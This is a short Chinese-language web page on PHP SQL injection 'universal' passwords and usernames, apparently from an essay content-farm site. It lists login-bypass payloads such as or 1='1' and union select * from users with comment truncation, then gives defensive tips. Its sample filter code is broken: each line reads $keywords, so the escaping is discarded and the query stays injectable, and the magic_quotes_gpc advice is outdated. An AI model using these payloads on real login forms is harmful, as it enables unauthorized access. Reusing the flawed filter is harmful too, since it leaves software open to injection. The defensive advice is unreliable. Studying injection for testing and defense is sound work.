1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > php万能注入密码 php下的SQL注入万能用户名和密码

php万能注入密码 php下的SQL注入万能用户名和密码

时间:2019-12-01 19:29:27

相关推荐

php万能注入密码 php下的SQL注入万能用户名和密码

1.针对有单引号的情况 :

万能密码 :select * from users where username='xxxx' and password='xxxxxx' or 1='1';

万能用户名 :select * from users where username='xxxx' union select * from users/* and password='xxxxx';

防止第一种万能密码 : 设置 php.ini 中的 magic_quotes_gpc = On ;

2.没有单引号的情况 :

万能密码 : select * from users where username=数字 and password=数字union select * from users;

万能用户名 :select * from users where username= 数字union select * from users/*and password=数字;

3.搜索SQL注入的情况 :

防止查询SQL的攻击,对关键字进行过滤 :

//当php.ini中magic_quotes_gpc开启时,不要使用addslashes,否则会造成双重转义

$keyword = addslashes($keywords)

$keyword = str_replace("%","\%",$keywords);

$keyword = str_replace("_","\_",$keywords);

$sql= "select * from users where username like '%$keyword%'";

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。